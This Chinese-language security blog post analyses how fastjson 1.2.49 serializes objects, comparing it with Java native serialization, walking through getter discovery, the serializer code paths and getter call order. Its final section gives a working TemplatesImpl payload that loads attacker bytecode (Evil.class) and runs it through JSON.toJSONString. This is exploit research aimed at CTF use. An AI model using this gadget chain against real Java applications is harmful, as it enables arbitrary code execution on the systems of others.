azraelxuemo's Studio.

fastjson序列化

2023/12/11

fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
fastjson有很多的分析文章,我这里从一个不同的角度来看fastjson
对fastjson有一点了解的同学都知道,fastjson可以把对象变成json字符串,也可以把json字符串再转化为对象,这个过程其实很类似于java原生序列化\反序列化,只不过我们的输出流从java自定义的格式变成了json格式,那么我觉得可以从这两个相似机制的对比入手,能够让大家了解到fastjson一些比较关键的流程。

序列化

序列化做的就是把对象的值提取出来,然后按照规定格式输出。所以序列化主要分为两个过程,一个是类的基本信息获取,比如field信息等,他需要知道后面我们到底要读取哪些字段,另一个就是获取字段值并写入输出流
那么就会涉及几个问题

  1. 哪些字段会读取,哪些字段不会读取
  2. 怎么去获取这些字段的值?是利用反射去读取?还是利用getter?

java原生序列化

信息获取

会处理继承关系,继承链上所有Serializable的类都会进行处理,按照从上往下的顺序进行
可以看到,在getDefaultSerialFields获取Fields的时候,只会保留非static非transient的field
截屏2023-12-02 17.11.44.png

获取值

writeSerialData按照从父类到子类的顺序进行处理(getClassDataLayout返回是按照从superclass->subclass的顺序)
因为序列化支持重写WriteObject,重写后可以自定义一些处理逻辑,我们这里只关注默认的处理逻辑也就是defaultWriteFields
截屏2023-12-04 09.39.57.png
defaultWriteFields会处理当前类desc里面的所有fields(这里面的fields就是前面信息获取阶段留下的fields),在这里getPrimFieldValues获取基础类型的值,getObjFieldValues获取Obj
截屏2023-12-02 18.44.57.png
getPrimFieldValues和getObjFieldValues都是使用unsafe,使用unsafe的原因是可以不考虑访问权限,然后可以看到这两个函数都是逐个遍历对应的fields字段
截屏2023-12-11 20.10.59.png
截屏2023-12-02 18.45.45.png
后面调用writeObject0处理非基础类型字段的值,因为writeObject0会check是否是Serializable,如果我们字段是一个对象并且非Serializable的话,会报错(如果不赋值的话是null,虽然不会报错,但是也没有什么意义)
截屏2023-12-02 18.47.15.png

fastjson把对象转化为json

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.49</version>
</dependency>

首先对于fastjson来说他不关注是否是Serializable

信息获取

TypeUtils.buildBeanInfo这个函数里获取类的基本信息
首先获取所有field并放入Cache
截屏2023-11-11 09.25.41.png
这里会遍历继承类,把所有的DeclaredFields都放入cache,这里注意,不会去判断是否是static
截屏2023-12-03 08.53.45.png
然后调用computeGetters处理fieldCacheMap
computeGetters顾名思义,处理getter的,大概分为两个部分
截屏2023-11-11 15.23.40.png

  1. 处理Methods,调用getMethods获取包括继承的public方法,然后在函数里面做了一些判断,最后只留下包括继承的public的getter方法(is是boolean的getter),这里会做getter和Field的匹配,并保存在fieldInfoMap里
  2. 处理Fields,调用getFields获取包括继承的public成员变量,如果是static那么就跳过,如果已有的Map里面包含了对应的Fields,那么跳过,只会把没有包含的Field添加进去

处理methods

代码里有比较长的逻辑用来判断函数是否是一个getter,具体的可以自己看一下(因为getter大概有什么要求还是有概念的,比如说非static,无参,返回值非void)
如果对应的getter匹配到了对应的字段,那么就生成一个fieldInfo放入Map里
截屏2023-12-03 08.45.51.png
截屏2023-12-03 08.46.37.png
那么这里也有可能出现没有匹配到field的情况,比如说我们这里随便写一个满足getter的函数,他最后生成的Fieldinfo就没有field
截屏2023-12-03 08.48.22.png
这里也注意一个细节,getter对应的field可以是static的,因为parserAllFieldToCache不会判断field是否static
截屏2023-12-03 15.27.12.png

处理fields

如果子类中声明了一个与父类中同名的方法(并且签名相同),这在Java中被称为方法覆盖。字段和方法的继承规则有所不同。当子类和父类有同名的字段时,它们实际上是两个独立的实体,并没有被覆盖或重写的概念。这个特性是跟java的多态有关,多态在Java中主要通过方法重写和接口实现来实现,而静态方法、字段和构造器不参与多态。(提这个主要是前面getMethods时候,如果子类和父类同名,那么只会输出子类的,但是getFields就算重名也都会输出出来)
首先非static
截屏2023-12-03 09.49.20.png
如果前面处理完methods后的fieldInfoMap里没有对应的字段,那么就新创建一个fieldInfo,设置methods为空,放入fieldInfoMap里
截屏2023-12-03 09.49.58.png
那么在这个里面生成的fieldinfo都是没有method的
截屏2023-12-03 10.31.54.png

获取值

fastjson有两种Serializer,一种是JavaBeanSerializer,一种是ASMSerializer
默认情况下会使用asm,但是asm动态生成的类不方便调试,所以我们先分析使用JavaBeanSerializer的方式

JavaBeanSerializer

首先关上asm

1
2
3
4
5
6
7
8
SerializeConfig.getGlobalInstance().setAsmEnable(false);
User user = new User();
System.out.println(JSON.toJSONString(user));
//两种都可以
//SerializeConfig serializeConfig = new SerializeConfig();
// serializeConfig.setAsmEnable(false);
// User user = new User();
// System.out.println(JSON.toJSONString(user,serializeConfig));

如果关了asm,那么写入的逻辑在JavaBeanSerializer.write里,这里会依次遍历getter, 然后有下面两个判断
1.默认是会skipTransient的,所以只会写入非Transient的field(当然没有field是不受影响的),
2.ignoreNonFieldGetter默认为false,所以有些没有field的getter也是不受影响的
截屏2023-12-13 09.38.31.png
获取value
截屏2023-12-03 15.04.15.png
如果有getter,执行getter,没有直接用反射去获取
截屏2023-12-03 15.04.36.png

ASMSerializer

在处理的时候,如果遇到field是null的getter,会进行一个特殊处理
截屏2023-12-13 20.44.05.png
如果遇见字段是Transient的也会进行特殊处理
截屏2023-12-13 20.46.52.png
在这里可以把对应的asm动态类字节码dump出来
截屏2023-12-13 20.22.41.png
查看动态类的代码,如果getter的field是Transient的话,他会判断是否开启了SkipTransientField(1024),如果没有开启,他会把值写到json字符串里,如果开启了就会跳过 (这一点来说有些不同,对于Transient的字段来说,默认情况下走asm的话他是会调用getter的,不走asm的话是不会调用getter的)
截屏2023-12-13 20.25.28.png
而对于没有field的getter来说,他会判断是否开启了IgnoreNonFieldGetter (33554432),如果没有开启,他会进一步去调用getter把值写到json字符串里,如果开启了,那么就跳过,这个倒和前面的保持一致
截屏2023-12-13 20.34.47.png
而对于普通的getter来说,就比较简单,调用getter然后输出
截屏2023-12-13 20.52.25.png
对于没有getter的情况,asm也是直接获取值,然后输出
截屏2023-12-13 20.55.42.png
当然可能还会遇见其他值的feature,比如说128,像这种就是一些对于值的处理逻辑,就不过多赘述了
截屏2023-12-13 20.56.33.png

总结

  1. java原生序列化会判断是否Serializable,fastjson不会
  2. 二者都会处理子类以及继承来的字段
  3. 原生序列化要求字段非static非Transient,而对于fastjson来说,如果是被public的getter匹配到的字段只要求非Transient,如果没有匹配到的要满足public非static非Transient
  4. 原生序列化获取值是通过unsafe反射来获取,对于fastjson来说,有getter的是通过getter,没getter的通过反射

可以看到,java原生序列化里默认情况下是不会调用类自己的函数,除非重写writeObject,但是fastjson是会调用getter的,如果类的getter里面有危险操作,那么就可能带来风险。所以如果在题目里发现存在恶意的getter方法,那么可以考虑结合fastjson的toString\toJSONString来利用,在CTF里面常用来配合java原生的反序列化来调用恶意的getter。

细节

通过前面部分,对fastjson序列化大体上的逻辑和思路已经有了一个认识,那么这部分主要是解决一些细节上的问题,比如说,getter的调用顺序是什么?

getter的调用顺序

在computeGetters的最后,会调用getFieldInfos把map结构转化为一个list
截屏2023-12-11 21.08.40.png
然后会调用sort进行排序
截屏2023-12-11 21.10.56.png
在FieldInfo的compareTo可以看到是对name进行了排序(对于没有field对应的getter来说,他的name就是getter函数解析以后的属性名)
截屏2023-12-11 21.11.44.png
然后把我们排序好的Fields放到BeanInfo里
截屏2023-12-11 21.14.36.png

JavaBeanSerializer

在JavaBeanSerializer的构造函数里面,会把前面的sortedFields再生成FieldSerializer
截屏2023-12-12 10.35.10.png
然后在JavaBeanSerializer的write里面会进行判断
截屏2023-12-11 21.17.03.png
而我们默认创建的时候,传入的DEFAULT_FEATURE里包含了sortField
截屏2023-12-11 21.04.54.png
所以在这里,我们的getters就变成了按照属性名排列的getters
然后就是按照顺序遍历getters,调用getPropertyValueDirect获取值
截屏2023-12-11 21.25.08.png

ASMSerializer

从BeanInfo里拿出排序好的getters
截屏2023-12-13 21.06.46.png
在generateWriteMethod里按照顺序遍历getter动态生成对应代码截屏2023-12-13 21.10.29.png

fastjson+TemplatesImpl

对于TemplatesImpl来说,第一个就是outputProperties
截屏2023-12-11 21.31.20.png
直接调用newTransformer触发exp
截屏2023-12-11 21.31.50.png
payload

1
2
3
4
5
6
7
8
9
10
11
12
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class"));
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytecode});
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"azraelxuemo");
Field _tfactory = templates.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());
JSON.toJSONString(templates);

调用栈(没有使用asm的)
截屏2023-12-11 21.34.01.png

CATALOG
  1. 1. 序列化
    1. 1.1. java原生序列化
      1. 1.1.1. 信息获取
      2. 1.1.2. 获取值
    2. 1.2. fastjson把对象转化为json
      1. 1.2.1. 信息获取
        1. 1.2.1.1. 处理methods
        2. 1.2.1.2. 处理fields
      2. 1.2.2. 获取值
        1. 1.2.2.1. JavaBeanSerializer
        2. 1.2.2.2. ASMSerializer
    3. 1.3. 总结
  2. 2. 细节
    1. 2.1. getter的调用顺序
      1. 2.1.0.1. JavaBeanSerializer
      2. 2.1.0.2. ASMSerializer
  • 3. fastjson+TemplatesImpl